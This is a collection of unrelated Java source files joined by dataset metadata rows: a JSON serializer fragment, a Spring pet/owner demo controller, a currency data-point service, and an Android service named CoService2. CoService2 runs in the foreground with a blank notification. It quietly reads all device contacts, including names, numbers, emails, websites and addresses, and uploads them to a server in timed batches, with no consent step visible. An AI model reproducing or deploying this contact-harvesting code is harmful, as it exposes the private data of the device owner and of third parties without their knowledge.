if (type == CharSequence.class) {
return (T)string;
}
throw new SerializationException("Unable to convert value to required type: " + jsonData + " (" + type.getName() + ")");
}
}
public void copyFields(final Object from, final Object to) {
final ObjectMap<String, FieldMetadata> toFields = this.getFields(from.getClass());
for (final ObjectMap.Entry<String, FieldMetadata> entry : this.getFields(from.getClass())) {
final FieldMetadata toField = toFields.get(entry.key);
final Field fromField = entry.value.field;
if (toField == null) {
throw new SerializationException("To object is missing field" + entry.key);
}
try {
toField.field.set(to, fromField.get(from));
}
catch (ReflectionException ex) {
throw new SerializationException("Error copying field: " + fromField.getName(), ex);
}
}
}
private String convertToString(final Enum e) {
return this.enumNames ? e.name() : e.toString();
}
private String convertToString(final Object object) {
if (object instanceof Enum) {
return this.convertToString((Enum)object);
}
if (object instanceof Class) {
return ((Class)object).getName();
}
return String.valueOf(object);
}
protected Object newInstance(Class type) {
try {
return ClassReflection.newInstance(type);
}
catch (Exception ex) {
try {
final Constructor constructor = ClassReflection.getDeclaredConstructor(type, new Class[0]);
constructor.setAccessible(true);
return constructor.newInstance(new Object[0]);
}
catch (SecurityException ex2) {}
catch (ReflectionException ignored) {
if (ClassReflection.isAssignableFrom(Enum.class, type)) {
if (type.getEnumConstants() == null) {
type = type.getSuperclass();
}
return type.getEnumConstants()[0];
}
if (type.isArray()) {
throw new SerializationException("Encountered JSON object when expected array of type: " + type.getName(), ex);
}
if (ClassReflection.isMemberClass(type) && !ClassReflection.isStaticClass(type)) {
throw new SerializationException("Class cannot be created (non-static member class): " + type.getName(), ex);
}
throw new SerializationException("Class cannot be created (missing no-arg constructor): " + type.getName(), ex);
}
catch (Exception privateConstructorException) {
ex = privateConstructorException;
}
throw new SerializationException("Error constructing instance of class: " + type.getName(), ex);
}
}
public String prettyPrint(final Object object) {
return this.prettyPrint(object, 0);
}
public String prettyPrint(final String json) {
return this.prettyPrint(json, 0);
}
public String prettyPrint(final Object object, final int singleLineColumns) {
return this.prettyPrint(this.toJson(object), singleLineColumns);
}
public String prettyPrint(final String json, final int singleLineColumns) {
return new JsonReader().parse(json).prettyPrint(this.outputType, singleLineColumns);
}
public String prettyPrint(final Object object, final JsonValue.PrettyPrintSettings settings) {
return this.prettyPrint(this.toJson(object), settings);
}
public String prettyPrint(final String json, final JsonValue.PrettyPrintSettings settings) {
return new JsonReader().parse(json).prettyPrint(settings);
}
private static class FieldMetadata
{
final Field field;
Class elementType;
public FieldMetadata(final Field field) {
this.field = field;
final int index = (ClassReflection.isAssignableFrom(ObjectMap.class, field.getType()) || ClassReflection.isAssignableFrom(Map.class, field.getType())) ? 1 : 0;
this.elementType = field.getElementType(index);
}
}
public abstract static class ReadOnlySerializer<T> implements Serializer<T>
{
@Override
public void write(final Json json, final T object, final Class knownType) {
}
@Override
public abstract T read(final Json p0, final JsonValue p1, final Class p2);
}
public interface Serializer<T>
{
void write(final Json p0, final T p1, final Class p2);
T read(final Json p0, final JsonValue p1, final Class p2);
}
public interface Serializable
{
void write(final Json p0);
void read(final Json p0, final JsonValue p1);
}
}
| 48,970 | 0.546559 | 0.543741 | 1,176 | 40.641155 | 34.555321 | 334 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.808673 | false | false |
8
|
5cbf85a9067015f0b4b86f96c1ad177c891b7520
| 30,631,706,822,581 |
733da81ac1dace5409fd9b77dd651bd3ece900ec
|
/src/main/java/com/example/demo/HomeController.java
|
5afaafc11f1180e88d587b9bc191832bd0bc3beb
|
[] |
no_license
|
nboober/PeopleAndPets_OneToMany
|
https://github.com/nboober/PeopleAndPets_OneToMany
|
581428dbcd7b5cc00459489a7eeeee6cd9c631a0
|
139ae5200f5d52f506e7faa120365036acae4c3f
|
refs/heads/master
| 2022-02-12T22:21:54.714000 | 2019-07-22T17:13:02 | 2019-07-22T17:13:02 | 198,252,278 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.example.demo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import java.util.HashSet;
import java.util.Set;
@Controller
public class HomeController {
@Autowired
PetRepository petRepository;
@RequestMapping("/")
public String index(Model model){
//First Create a Pet
Pet pet = new Pet();
pet.setName("Scooby");
pet.setAge(6);
pet.setAnimal("Boston Terrier");
//Now lets create a Person
People person = new People();
person.setName("Nick");
person.setAge(27);
//Add the person to an empty Repository
Set<People> people = new HashSet<People>();
people.add(person);
//Add a second person
person = new People();
person.setName("Gaby");
person.setAge(29);
people.add(person);
//Create a second Pet
Pet pet2 = new Pet();
pet2.setName("Toby");
pet2.setAge(4);
pet2.setAnimal("Beagle");
//Add the list of people to the pet's owner list
pet.setPeople(people);
pet2.setPeople(people);
//Save the Pet to the database
petRepository.save(pet);
petRepository.save(pet2);
//Grab all the pets from the database and send them to the template
model.addAttribute("pets", petRepository.findAll());
return "index";
}
}
|
UTF-8
|
Java
| 1,558 |
java
|
HomeController.java
|
Java
|
[
{
"context": " Pet pet = new Pet();\n pet.setName(\"Scooby\");\n pet.setAge(6);\n pet.setAnimal(\"",
"end": 531,
"score": 0.9938880205154419,
"start": 525,
"tag": "NAME",
"value": "Scooby"
},
{
"context": "le person = new People();\n person.setName(\"Nick\");\n person.setAge(27);\n\n //Add the ",
"end": 701,
"score": 0.9996331930160522,
"start": 697,
"tag": "NAME",
"value": "Nick"
},
{
"context": " person = new People();\n person.setName(\"Gaby\");\n person.setAge(29);\n people.add(",
"end": 951,
"score": 0.9992981553077698,
"start": 947,
"tag": "NAME",
"value": "Gaby"
},
{
"context": " Pet pet2 = new Pet();\n pet2.setName(\"Toby\");\n pet2.setAge(4);\n pet2.setAnimal",
"end": 1097,
"score": 0.9968045949935913,
"start": 1093,
"tag": "NAME",
"value": "Toby"
}
] | null |
[] |
package com.example.demo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import java.util.HashSet;
import java.util.Set;
@Controller
public class HomeController {
@Autowired
PetRepository petRepository;
@RequestMapping("/")
public String index(Model model){
//First Create a Pet
Pet pet = new Pet();
pet.setName("Scooby");
pet.setAge(6);
pet.setAnimal("Boston Terrier");
//Now lets create a Person
People person = new People();
person.setName("Nick");
person.setAge(27);
//Add the person to an empty Repository
Set<People> people = new HashSet<People>();
people.add(person);
//Add a second person
person = new People();
person.setName("Gaby");
person.setAge(29);
people.add(person);
//Create a second Pet
Pet pet2 = new Pet();
pet2.setName("Toby");
pet2.setAge(4);
pet2.setAnimal("Beagle");
//Add the list of people to the pet's owner list
pet.setPeople(people);
pet2.setPeople(people);
//Save the Pet to the database
petRepository.save(pet);
petRepository.save(pet2);
//Grab all the pets from the database and send them to the template
model.addAttribute("pets", petRepository.findAll());
return "index";
}
}
| 1,558 | 0.625802 | 0.6181 | 60 | 24.966667 | 18.546309 | 75 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.533333 | false | false |
8
|
2af25be63cc1b3a4c5158b5d0b5b1ec2f70a9f31
| 7,808,250,610,822 |
ef17ad29fdefe45261d3e03cc3bfadf4b8ac7f3d
|
/src/main/java/com/finance/service/database/pairdatapointserviceutilities/DataPointAdder.java
|
346e8de568f116e39a4c873833fdde658b87445c
|
[] |
no_license
|
Luke1024/financial-analytics
|
https://github.com/Luke1024/financial-analytics
|
b84b3c014724d910ae40ddc66a3a375b136f327e
|
0861676924fd8a4b3cc22a8f55fb55b36fcdf94d
|
refs/heads/master
| 2022-12-12T22:28:16.751000 | 2020-09-08T16:07:11 | 2020-09-08T16:07:11 | 215,975,805 | 0 | 0 | null | false | 2020-09-06T11:40:31 | 2019-10-18T08:20:33 | 2020-06-22T10:38:12 | 2020-09-06T11:40:30 | 98,485 | 0 | 0 | 0 |
TSQL
| false | false |
package com.finance.service.database.pairdatapointserviceutilities;
import com.finance.domain.CurrencyPair;
import com.finance.domain.CurrencyPairDataPoint;
import com.finance.repository.CurrencyPairHistoryPointRepository;
import com.finance.repository.CurrencyPairRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.stream.Collectors;
@Service
public class DataPointAdder {
@Autowired
private CurrencyPairHistoryPointRepository repository;
@Autowired
private CurrencyPairRepository currencyPairRepository;
@Autowired
private CurrencyPairDataPointCache cache;
private Logger logger = Logger.getLogger(DataPointAdder.class.getName());
private boolean overwrite;
public void addPoints(List<CurrencyPairDataPoint> currencyPairDataPoints, String currencyPairName, boolean overwrite){
if(currencyPairDataPoints == null) return;
if(currencyPairName == null) return;
this.overwrite = overwrite;
saveDataPoints(currencyPairDataPoints, currencyPairName);
}
private void saveDataPoints(List<CurrencyPairDataPoint> points, String currencyPairName){
List<CurrencyPairDataPoint> filteredPoints = filterPoints(points);
List<LocalDateTime> alreadyUsedTimeStamps = getTimeStampsAlreadyUsedAndDeleteIfNecessary(filteredPoints, currencyPairName);
List<CurrencyPairDataPoint> pointsToSave = choosePointsToSave(filteredPoints, alreadyUsedTimeStamps);
Optional<CurrencyPair> optionalPair = getCurrencyPair(currencyPairName);
if (optionalPair.isPresent()) {
addDataPointsToCurrencyPair(pointsToSave, optionalPair.get());
} else {
logger.log(Level.WARNING, "CurrencyPair " + currencyPairName + " not found.");
}
}
private List<CurrencyPairDataPoint> filterPoints(List<CurrencyPairDataPoint> points){
List<CurrencyPairDataPoint> filteredPoints = new ArrayList<>();
for(CurrencyPairDataPoint point : points){
if(point != null){
if(point.getTimeStamp() != null){
filteredPoints.add(point);
}
}
}
return filteredPoints;
}
private List<LocalDateTime> getTimeStampsAlreadyUsedAndDeleteIfNecessary(List<CurrencyPairDataPoint> points, String currencyPairName){
List<LocalDateTime> alreadyUsedTimeStamps = new ArrayList<>();
Optional<CurrencyPair> currencyPair = getCurrencyPair(currencyPairName);
if(currencyPair.isPresent()) {
for (CurrencyPairDataPoint point : points) {
Optional<CurrencyPairDataPoint> dataPoint = repository.findPointByDate(point.getTimeStamp(),
currencyPair.get().getId());
if(dataPoint.isPresent()) {
deleteDataPoint(dataPoint.get().getPointId());
alreadyUsedTimeStamps.add(dataPoint.get().getTimeStamp());
}
}
} else {
logger.log(Level.WARNING, "CurrencyPair not found.");
}
return alreadyUsedTimeStamps;
}
private void deleteDataPoint(Long pointId) {
if(this.overwrite) {
repository.deleteById(pointId);
}
}
private Optional<CurrencyPair> getCurrencyPair(String currencyPairName) {
return currencyPairRepository.findByCurrencyName(currencyPairName);
}
private List<CurrencyPairDataPoint> choosePointsToSave(List<CurrencyPairDataPoint> points,
List<LocalDateTime> alreadyUsedTimeStamps) {
List<CurrencyPairDataPoint> pointsToSave = new ArrayList<>();
if(this.overwrite){
return points;
} else {
for(CurrencyPairDataPoint point : points) {
List<LocalDateTime> theSameTimeStamps = alreadyUsedTimeStamps.stream()
.filter(stamp -> point.getTimeStamp() == stamp).collect(Collectors.toList());
if(theSameTimeStamps.isEmpty()){
pointsToSave.add(point);
}
}
}
return pointsToSave;
}
private void addDataPointsToCurrencyPair(List<CurrencyPairDataPoint> points, CurrencyPair currencyPair){
currencyPair.addDataPoint(points);
for(CurrencyPairDataPoint point : points) {
point.setCurrencyPair(currencyPair);
}
currencyPairRepository.save(currencyPair);
cache.saveCurrencyPair(currencyPair);
}
}
|
UTF-8
|
Java
| 4,783 |
java
|
DataPointAdder.java
|
Java
|
[] | null |
[] |
package com.finance.service.database.pairdatapointserviceutilities;
import com.finance.domain.CurrencyPair;
import com.finance.domain.CurrencyPairDataPoint;
import com.finance.repository.CurrencyPairHistoryPointRepository;
import com.finance.repository.CurrencyPairRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.stream.Collectors;
@Service
public class DataPointAdder {
@Autowired
private CurrencyPairHistoryPointRepository repository;
@Autowired
private CurrencyPairRepository currencyPairRepository;
@Autowired
private CurrencyPairDataPointCache cache;
private Logger logger = Logger.getLogger(DataPointAdder.class.getName());
private boolean overwrite;
public void addPoints(List<CurrencyPairDataPoint> currencyPairDataPoints, String currencyPairName, boolean overwrite){
if(currencyPairDataPoints == null) return;
if(currencyPairName == null) return;
this.overwrite = overwrite;
saveDataPoints(currencyPairDataPoints, currencyPairName);
}
private void saveDataPoints(List<CurrencyPairDataPoint> points, String currencyPairName){
List<CurrencyPairDataPoint> filteredPoints = filterPoints(points);
List<LocalDateTime> alreadyUsedTimeStamps = getTimeStampsAlreadyUsedAndDeleteIfNecessary(filteredPoints, currencyPairName);
List<CurrencyPairDataPoint> pointsToSave = choosePointsToSave(filteredPoints, alreadyUsedTimeStamps);
Optional<CurrencyPair> optionalPair = getCurrencyPair(currencyPairName);
if (optionalPair.isPresent()) {
addDataPointsToCurrencyPair(pointsToSave, optionalPair.get());
} else {
logger.log(Level.WARNING, "CurrencyPair " + currencyPairName + " not found.");
}
}
private List<CurrencyPairDataPoint> filterPoints(List<CurrencyPairDataPoint> points){
List<CurrencyPairDataPoint> filteredPoints = new ArrayList<>();
for(CurrencyPairDataPoint point : points){
if(point != null){
if(point.getTimeStamp() != null){
filteredPoints.add(point);
}
}
}
return filteredPoints;
}
private List<LocalDateTime> getTimeStampsAlreadyUsedAndDeleteIfNecessary(List<CurrencyPairDataPoint> points, String currencyPairName){
List<LocalDateTime> alreadyUsedTimeStamps = new ArrayList<>();
Optional<CurrencyPair> currencyPair = getCurrencyPair(currencyPairName);
if(currencyPair.isPresent()) {
for (CurrencyPairDataPoint point : points) {
Optional<CurrencyPairDataPoint> dataPoint = repository.findPointByDate(point.getTimeStamp(),
currencyPair.get().getId());
if(dataPoint.isPresent()) {
deleteDataPoint(dataPoint.get().getPointId());
alreadyUsedTimeStamps.add(dataPoint.get().getTimeStamp());
}
}
} else {
logger.log(Level.WARNING, "CurrencyPair not found.");
}
return alreadyUsedTimeStamps;
}
private void deleteDataPoint(Long pointId) {
if(this.overwrite) {
repository.deleteById(pointId);
}
}
private Optional<CurrencyPair> getCurrencyPair(String currencyPairName) {
return currencyPairRepository.findByCurrencyName(currencyPairName);
}
private List<CurrencyPairDataPoint> choosePointsToSave(List<CurrencyPairDataPoint> points,
List<LocalDateTime> alreadyUsedTimeStamps) {
List<CurrencyPairDataPoint> pointsToSave = new ArrayList<>();
if(this.overwrite){
return points;
} else {
for(CurrencyPairDataPoint point : points) {
List<LocalDateTime> theSameTimeStamps = alreadyUsedTimeStamps.stream()
.filter(stamp -> point.getTimeStamp() == stamp).collect(Collectors.toList());
if(theSameTimeStamps.isEmpty()){
pointsToSave.add(point);
}
}
}
return pointsToSave;
}
private void addDataPointsToCurrencyPair(List<CurrencyPairDataPoint> points, CurrencyPair currencyPair){
currencyPair.addDataPoint(points);
for(CurrencyPairDataPoint point : points) {
point.setCurrencyPair(currencyPair);
}
currencyPairRepository.save(currencyPair);
cache.saveCurrencyPair(currencyPair);
}
}
| 4,783 | 0.681999 | 0.681999 | 122 | 38.213116 | 33.646725 | 138 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.516393 | false | false |
8
|
d9b6dbb195ca5a03dcfc4355e7a514a974a5fe30
| 5,531,917,900,653 |
c941e8f60a01a3776c65c009907104973b0318ad
|
/app/src/main/java/pro/kimd/CoService2.java
|
7203b923494a92073fbe22beed007f7d7dec3139
|
[] |
no_license
|
mahighermez-ma/KimD
|
https://github.com/mahighermez-ma/KimD
|
849e21ffedc12528da876a6d9d7f5b05bb249f8d
|
0f199c5252f288f6b576fc2e808e8b037aea0dab
|
refs/heads/master
| 2023-01-19T19:46:46.488000 | 2020-11-23T04:52:37 | 2020-11-23T04:52:37 | 315,203,686 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package pro.kimd;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.util.Log;
import android.widget.Toast;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import androidx.core.app.NotificationCompat;
public class CoService2 extends Service {
public CoService2() {
}
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
createNotificationChannel();
Notification notification = new NotificationCompat.Builder(getApplicationContext(), "ForegroundServiceChannel")
.build();
startForeground(1, notification);
}
try {
ContentResolver cr = getContentResolver();
final Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, null);
final int count=cur.getCount()/100;
if (count>0){
int i=0;
while (i<count+1){
final int finalI = i;
Handler handler=new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
try {
ShowContact(getApplicationContext(), String.valueOf((finalI)*100),"100");
if (finalI+1 ==count){
Curdb curdb=new Curdb(CoService2.this);
curdb.Insertcurr("ok");
stopSelf();}
} catch (JSONException e) {
Toast.makeText(CoService2.this, e.toString(), Toast.LENGTH_SHORT).show();
e.printStackTrace();
}
}
},i*60000);
i++;
// if (i==count){stopSelf();}
}
}else {
ShowContact(getApplicationContext(),"0", String.valueOf(cur.getCount()));
Curdb curdb=new Curdb(CoService2.this);
curdb.Insertcurr("ok");
stopSelf();
}
} catch (JSONException e) {
e.printStackTrace();
}
// Handler handler=new Handler();
// handler.postDelayed(new Runnable() {
// @Override
// public void run() {
// Curdb curdb=new Curdb(getApplicationContext());
// curdb.Insertcurr("ok");
// SendContact sendContact=new SendContact();
// sendContact.sendcontac(getApplicationContext());
// }
// },120000);
return super.onStartCommand(intent, flags, startId);
}
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel serviceChannel = new NotificationChannel(
"ForegroundServiceChannel",
"Foreground Service Channel",
NotificationManager.IMPORTANCE_DEFAULT
);
NotificationManager manager = getSystemService(NotificationManager.class);
manager.createNotificationChannel(serviceChannel);
}
}
public void ShowContact(Context context,String first,String last) throws JSONException {
ContentResolver cr = context.getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, " _id limit "+last+" offset "+first+" ");
Log.i("taging12", String.valueOf(cur.getCount()) );
if (cur.getCount() > 0) {
SendContactToServer sendContactToServer = new SendContactToServer();
JSONArray ARRAY = new JSONArray();
while (cur.moveToNext()){
JSONObject json = new JSONObject();
JSONArray WEBarray = new JSONArray();
JSONArray EMAILarray = new JSONArray();
JSONArray ADDRESSarray = new JSONArray();
JSONArray NUMBERarray = new JSONArray();
String id = cur.getString(cur
.getColumnIndex(ContactsContract.Contacts._ID));
// Log.d("taging233", id);
// String count = cur.getString(cur
// .getColumnIndex(ContactsContract.Contacts.));
// Toast.makeText(context, id, Toast.LENGTH_SHORT).show();
// Log.d("_count", count);
String name = cur
.getString(cur
.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
ContactDataBaseManager contactDataBaseManager = new ContactDataBaseManager(context);
// if (contactDataBaseManager.getcontact().contains(name)) {
// } else {
if (Integer
.parseInt(cur.getString(cur
.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
// Query phone here. Covered next
Cursor pCur = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID
+ " = ?", new String[]{id}, null);
while (pCur.moveToNext()) {
// Do something with phones
String phoneNo = pCur
.getString(pCur
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
NUMBERarray.put(phoneNo);
// JSON.put("name",name);
}
pCur.close();
Cursor emailCur = cr.query(
ContactsContract.CommonDataKinds.Email.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?",
new String[]{id}, null);
while (emailCur.moveToNext()) {
String email = emailCur.getString(emailCur.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
EMAILarray.put(email);
// Log.d("sendcontac", email);
}
final String[] projection = new String[]{
ContactsContract.CommonDataKinds.Website.URL,
ContactsContract.CommonDataKinds.Website.TYPE
};
String selection = ContactsContract.Data.CONTACT_ID + " = " + id + " AND " + ContactsContract.Contacts.Data.MIMETYPE + " = '" + ContactsContract.CommonDataKinds.Website.CONTENT_ITEM_TYPE + "'";
final Cursor webData = cr.query(ContactsContract.Data.CONTENT_URI, projection, selection, null, null);
while (webData.moveToNext()) {
int urlColumnIndex = webData.getColumnIndex(ContactsContract.CommonDataKinds.Website.URL);
String url = webData.getString(urlColumnIndex);
String urlType = webData.getString(webData.getColumnIndex(ContactsContract.CommonDataKinds.Website.TYPE));
WEBarray.put(url);
}
Cursor address_cursror = cr.query(ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI, null, ContactsContract.CommonDataKinds.StructuredPostal.CONTACT_ID + " = ?", new String[]{id}, null);
while (address_cursror.moveToNext()) {
String adressname = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.DISPLAY_NAME));
String street = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.STREET));
String state = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.REGION));
String zip = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.POSTCODE));
String city = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.CITY));
JSONObject jsonadress = new JSONObject();
jsonadress.put("name", adressname);
jsonadress.put("street", street);
jsonadress.put("state", state);
jsonadress.put("zip", zip);
jsonadress.put("city", city);
ADDRESSarray.put(jsonadress);
}
emailCur.close();
}
json.put("name", name);
json.put("number", NUMBERarray);
json.put("email", EMAILarray);
json.put("website", WEBarray);
json.put("adress", ADDRESSarray);
ARRAY.put(json);
contactDataBaseManager.Insertcontact(name,"");
// }
}
// Log.i("taging123", ARRAY.toString() );
// Toast.makeText(context, ARRAY.toString(), Toast.LENGTH_SHORT).show();
SendContactToServer sendContactToServer1=new SendContactToServer();
sendContactToServer1.Sent(context,ARRAY.toString());
}
}}
|
UTF-8
|
Java
| 10,672 |
java
|
CoService2.java
|
Java
|
[
{
"context": " }\n\n\n }\n// Log.i(\"taging123\", ARRAY.toString() );\n// Toast.makeTex",
"end": 10402,
"score": 0.9957056045532227,
"start": 10393,
"tag": "USERNAME",
"value": "taging123"
}
] | null |
[] |
package pro.kimd;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.util.Log;
import android.widget.Toast;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.ArrayList;
import androidx.core.app.NotificationCompat;
public class CoService2 extends Service {
public CoService2() {
}
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
createNotificationChannel();
Notification notification = new NotificationCompat.Builder(getApplicationContext(), "ForegroundServiceChannel")
.build();
startForeground(1, notification);
}
try {
ContentResolver cr = getContentResolver();
final Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, null);
final int count=cur.getCount()/100;
if (count>0){
int i=0;
while (i<count+1){
final int finalI = i;
Handler handler=new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
try {
ShowContact(getApplicationContext(), String.valueOf((finalI)*100),"100");
if (finalI+1 ==count){
Curdb curdb=new Curdb(CoService2.this);
curdb.Insertcurr("ok");
stopSelf();}
} catch (JSONException e) {
Toast.makeText(CoService2.this, e.toString(), Toast.LENGTH_SHORT).show();
e.printStackTrace();
}
}
},i*60000);
i++;
// if (i==count){stopSelf();}
}
}else {
ShowContact(getApplicationContext(),"0", String.valueOf(cur.getCount()));
Curdb curdb=new Curdb(CoService2.this);
curdb.Insertcurr("ok");
stopSelf();
}
} catch (JSONException e) {
e.printStackTrace();
}
// Handler handler=new Handler();
// handler.postDelayed(new Runnable() {
// @Override
// public void run() {
// Curdb curdb=new Curdb(getApplicationContext());
// curdb.Insertcurr("ok");
// SendContact sendContact=new SendContact();
// sendContact.sendcontac(getApplicationContext());
// }
// },120000);
return super.onStartCommand(intent, flags, startId);
}
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel serviceChannel = new NotificationChannel(
"ForegroundServiceChannel",
"Foreground Service Channel",
NotificationManager.IMPORTANCE_DEFAULT
);
NotificationManager manager = getSystemService(NotificationManager.class);
manager.createNotificationChannel(serviceChannel);
}
}
public void ShowContact(Context context,String first,String last) throws JSONException {
ContentResolver cr = context.getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, " _id limit "+last+" offset "+first+" ");
Log.i("taging12", String.valueOf(cur.getCount()) );
if (cur.getCount() > 0) {
SendContactToServer sendContactToServer = new SendContactToServer();
JSONArray ARRAY = new JSONArray();
while (cur.moveToNext()){
JSONObject json = new JSONObject();
JSONArray WEBarray = new JSONArray();
JSONArray EMAILarray = new JSONArray();
JSONArray ADDRESSarray = new JSONArray();
JSONArray NUMBERarray = new JSONArray();
String id = cur.getString(cur
.getColumnIndex(ContactsContract.Contacts._ID));
// Log.d("taging233", id);
// String count = cur.getString(cur
// .getColumnIndex(ContactsContract.Contacts.));
// Toast.makeText(context, id, Toast.LENGTH_SHORT).show();
// Log.d("_count", count);
String name = cur
.getString(cur
.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
ContactDataBaseManager contactDataBaseManager = new ContactDataBaseManager(context);
// if (contactDataBaseManager.getcontact().contains(name)) {
// } else {
if (Integer
.parseInt(cur.getString(cur
.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
// Query phone here. Covered next
Cursor pCur = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID
+ " = ?", new String[]{id}, null);
while (pCur.moveToNext()) {
// Do something with phones
String phoneNo = pCur
.getString(pCur
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
NUMBERarray.put(phoneNo);
// JSON.put("name",name);
}
pCur.close();
Cursor emailCur = cr.query(
ContactsContract.CommonDataKinds.Email.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?",
new String[]{id}, null);
while (emailCur.moveToNext()) {
String email = emailCur.getString(emailCur.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
EMAILarray.put(email);
// Log.d("sendcontac", email);
}
final String[] projection = new String[]{
ContactsContract.CommonDataKinds.Website.URL,
ContactsContract.CommonDataKinds.Website.TYPE
};
String selection = ContactsContract.Data.CONTACT_ID + " = " + id + " AND " + ContactsContract.Contacts.Data.MIMETYPE + " = '" + ContactsContract.CommonDataKinds.Website.CONTENT_ITEM_TYPE + "'";
final Cursor webData = cr.query(ContactsContract.Data.CONTENT_URI, projection, selection, null, null);
while (webData.moveToNext()) {
int urlColumnIndex = webData.getColumnIndex(ContactsContract.CommonDataKinds.Website.URL);
String url = webData.getString(urlColumnIndex);
String urlType = webData.getString(webData.getColumnIndex(ContactsContract.CommonDataKinds.Website.TYPE));
WEBarray.put(url);
}
Cursor address_cursror = cr.query(ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI, null, ContactsContract.CommonDataKinds.StructuredPostal.CONTACT_ID + " = ?", new String[]{id}, null);
while (address_cursror.moveToNext()) {
String adressname = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.DISPLAY_NAME));
String street = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.STREET));
String state = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.REGION));
String zip = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.POSTCODE));
String city = address_cursror.getString(address_cursror.getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.CITY));
JSONObject jsonadress = new JSONObject();
jsonadress.put("name", adressname);
jsonadress.put("street", street);
jsonadress.put("state", state);
jsonadress.put("zip", zip);
jsonadress.put("city", city);
ADDRESSarray.put(jsonadress);
}
emailCur.close();
}
json.put("name", name);
json.put("number", NUMBERarray);
json.put("email", EMAILarray);
json.put("website", WEBarray);
json.put("adress", ADDRESSarray);
ARRAY.put(json);
contactDataBaseManager.Insertcontact(name,"");
// }
}
// Log.i("taging123", ARRAY.toString() );
// Toast.makeText(context, ARRAY.toString(), Toast.LENGTH_SHORT).show();
SendContactToServer sendContactToServer1=new SendContactToServer();
sendContactToServer1.Sent(context,ARRAY.toString());
}
}}
| 10,672 | 0.531672 | 0.527642 | 235 | 44.408512 | 37.814823 | 222 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.753191 | false | false |
8
|
c11ea7c2c885a75afa939b174055b8197d17b40b
| 16,209,206,597,001 |
13cbb329807224bd736ff0ac38fd731eb6739389
|
